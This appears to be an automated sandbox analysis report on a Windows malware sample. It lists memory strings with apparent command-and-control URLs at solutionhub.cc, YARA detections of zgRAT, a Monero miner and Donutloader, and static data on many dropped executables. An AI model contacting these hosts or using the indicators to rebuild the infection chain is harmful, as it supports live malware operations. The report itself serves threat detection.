Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/e;
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/k
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/s;
Source: sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/socket/?id=5A9B846E0A19DD545B8CA4BF94E01DCEB8D04EDC07764AA4329CDB473E7FBAA3&u
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/~
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc:443/socket/
Source: sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc:443/socket/?id=5A9B846E0A19DD545B8CA4BF94E01DCEB8D04EDC07764AA4329CDB473E7FBA
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc:443/socket/b.cc/
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc:443/socket/nx8d.exe/

Source: MSBuild.exe, 0000000C.00000002.1842346912.00000000030B9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_b40bcab2-3

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.3.sys_updater.exe.21e0345551d.1.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 24.3.sys_updater.exe.21e034544fd.2.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 9.3.IIZS2TRqf69aZbLAX3cf3edn.exe.234d5ad04cd.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 24.3.sys_updater.exe.21e034544fd.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 9.3.IIZS2TRqf69aZbLAX3cf3edn.exe.234d5ad10e5.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 31.3.sys_updater.exe.20e49503455.3.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 27.3.sys_updater.exe.159f35a4885.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 31.3.sys_updater.exe.20e4950304d.2.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.3.sys_updater.exe.20e494ac50d.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.3.sys_updater.exe.20e494ac915.1.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000001B.00000003.2794263235.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000009.00000003.2181775167.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000018.00000003.2693194416.0000021E0319A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000018.00000003.2692757034.0000021E034D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000018.00000003.2692958541.0000021E0318C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

.NET source code contains very large array initializations

Source: HM3SOlbpH71yEXUIEAOeIiGX.exe.4.dr, -Module-.cs

Large array initialization: _202D_200B_200C_200E_206C_206A_206C_206A_206C_202B_202B_202D_202E_206B_206A_206C_200E_202B_206C_206B_206A_206B_206A_200E_202C_200F_200E_206B_206E_206B_200E_206F_200E_206E_206C_200B_200E_202B_202D_200D_202E: array initializer size 70240

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

Process Stats: CPU usage > 49%

Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe

Code function: 10_2_6C7787A0 GetModuleHandleW,GetProcAddress,NtQueryInformationProcess,GetModuleHandleW,GetProcAddress,

10_2_6C7787A0

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005E98AE	0_2_005E98AE
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005D65F0	0_2_005D65F0
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005D5880	0_2_005D5880
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F19A0	0_2_005F19A0
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_006002CE	0_2_006002CE
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F72BB	0_2_005F72BB
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F8B60	0_2_005F8B60
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005DA330	0_2_005DA330
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_0060B4B1	0_2_0060B4B1
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005DD550	0_2_005DD550
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_00602D19	0_2_00602D19
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_0060B5D1	0_2_0060B5D1
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005D4780	0_2_005D4780
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005E5780	0_2_005E5780
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_005498AE	3_2_005498AE
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_005365F0	3_2_005365F0
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00535880	3_2_00535880
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_005519A0	3_2_005519A0
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_005602CE	3_2_005602CE
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_005572BB	3_2_005572BB
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00558B60	3_2_00558B60
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_0053A330	3_2_0053A330
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_0056B4B1	3_2_0056B4B1
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_0053D550	3_2_0053D550
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00562D19	3_2_00562D19
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_0056B5D1	3_2_0056B5D1
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00534780	3_2_00534780
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00545780	3_2_00545780
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C779140	10_2_6C779140
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C771340	10_2_6C771340
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C7787A0	10_2_6C7787A0
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C771030	10_2_6C771030
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C7930D5	10_2_6C7930D5
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C778E10	10_2_6C778E10
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C787380	10_2_6C787380
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B0F98	10_2_017B0F98
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B2CE0	10_2_017B2CE0
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B2CD1	10_2_017B2CD1
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B37D0	10_2_017B37D0
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B37C1	10_2_017B37C1
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B0EF8	10_2_017B0EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_014C7720	12_2_014C7720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_014C7468	12_2_014C7468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_014C7713	12_2_014C7713
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06F50578	12_2_06F50578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06F5F458	12_2_06F5F458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06F50568	12_2_06F50568

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: String function: 00551660 appears 54 times
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: String function: 005F1660 appears 54 times
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: String function: 6C788630 appears 33 times

Source: yt3cew8k69RKLpgTFur2iz2M.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yt3cew8k69RKLpgTFur2iz2M.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yt3cew8k69RKLpgTFur2iz2M.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yt3cew8k69RKLpgTFur2iz2M.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yt3cew8k69RKLpgTFur2iz2M.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: b1s7nlT2NqFJ3sl3xbYiMCIq.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: b1s7nlT2NqFJ3sl3xbYiMCIq.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: b1s7nlT2NqFJ3sl3xbYiMCIq.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: b1s7nlT2NqFJ3sl3xbYiMCIq.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: b1s7nlT2NqFJ3sl3xbYiMCIq.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ix4A2DreBBsQwY6YHkidcDjo.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ix4A2DreBBsQwY6YHkidcDjo.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ix4A2DreBBsQwY6YHkidcDjo.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ix4A2DreBBsQwY6YHkidcDjo.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ix4A2DreBBsQwY6YHkidcDjo.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: YAPNXRPmcarcR4ZDgC81Tbdk.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: YAPNXRPmcarcR4ZDgC81Tbdk.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: YAPNXRPmcarcR4ZDgC81Tbdk.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: YAPNXRPmcarcR4ZDgC81Tbdk.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: YAPNXRPmcarcR4ZDgC81Tbdk.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SmLAztxc1o8yfogkJXrRjbDt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SmLAztxc1o8yfogkJXrRjbDt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SmLAztxc1o8yfogkJXrRjbDt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SmLAztxc1o8yfogkJXrRjbDt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SmLAztxc1o8yfogkJXrRjbDt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 3HvoFOAmEaJswFCHOzyfyz5b.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 3HvoFOAmEaJswFCHOzyfyz5b.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 3HvoFOAmEaJswFCHOzyfyz5b.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 3HvoFOAmEaJswFCHOzyfyz5b.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 3HvoFOAmEaJswFCHOzyfyz5b.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6KZmcK8r6beUzmRf6Ci6nx8d.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6KZmcK8r6beUzmRf6Ci6nx8d.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6KZmcK8r6beUzmRf6Ci6nx8d.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6KZmcK8r6beUzmRf6Ci6nx8d.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6KZmcK8r6beUzmRf6Ci6nx8d.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yDd3OJXsNQptgFrYILoygXLs.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yDd3OJXsNQptgFrYILoygXLs.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yDd3OJXsNQptgFrYILoygXLs.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yDd3OJXsNQptgFrYILoygXLs.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: yDd3OJXsNQptgFrYILoygXLs.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: xpTljBOh8s4KWiGtXsL1c00g.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: xpTljBOh8s4KWiGtXsL1c00g.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: xpTljBOh8s4KWiGtXsL1c00g.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: xpTljBOh8s4KWiGtXsL1c00g.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: xpTljBOh8s4KWiGtXsL1c00g.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: V6uPDVniSnRMWuLn5U9T3TGJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: V6uPDVniSnRMWuLn5U9T3TGJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: V6uPDVniSnRMWuLn5U9T3TGJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: V6uPDVniSnRMWuLn5U9T3TGJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: V6uPDVniSnRMWuLn5U9T3TGJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2TUSzbAUfKRfcjcMzfoV1qdi.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2TUSzbAUfKRfcjcMzfoV1qdi.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2TUSzbAUfKRfcjcMzfoV1qdi.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2TUSzbAUfKRfcjcMzfoV1qdi.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2TUSzbAUfKRfcjcMzfoV1qdi.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ixjnzi95HfqR77bieLYCT4aJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ixjnzi95HfqR77bieLYCT4aJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ixjnzi95HfqR77bieLYCT4aJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ixjnzi95HfqR77bieLYCT4aJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ixjnzi95HfqR77bieLYCT4aJ.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6pkNzPZrIkyPzGNsokLQ8aZR.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6pkNzPZrIkyPzGNsokLQ8aZR.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6pkNzPZrIkyPzGNsokLQ8aZR.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6pkNzPZrIkyPzGNsokLQ8aZR.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 6pkNzPZrIkyPzGNsokLQ8aZR.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: hQdOgl4rhYQYx3G5aYY61LEd.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: hQdOgl4rhYQYx3G5aYY61LEd.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: hQdOgl4rhYQYx3G5aYY61LEd.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: hQdOgl4rhYQYx3G5aYY61LEd.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: hQdOgl4rhYQYx3G5aYY61LEd.exe.4.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: RPHbzz3JqY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.3.sys_updater.exe.21e0345551d.1.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
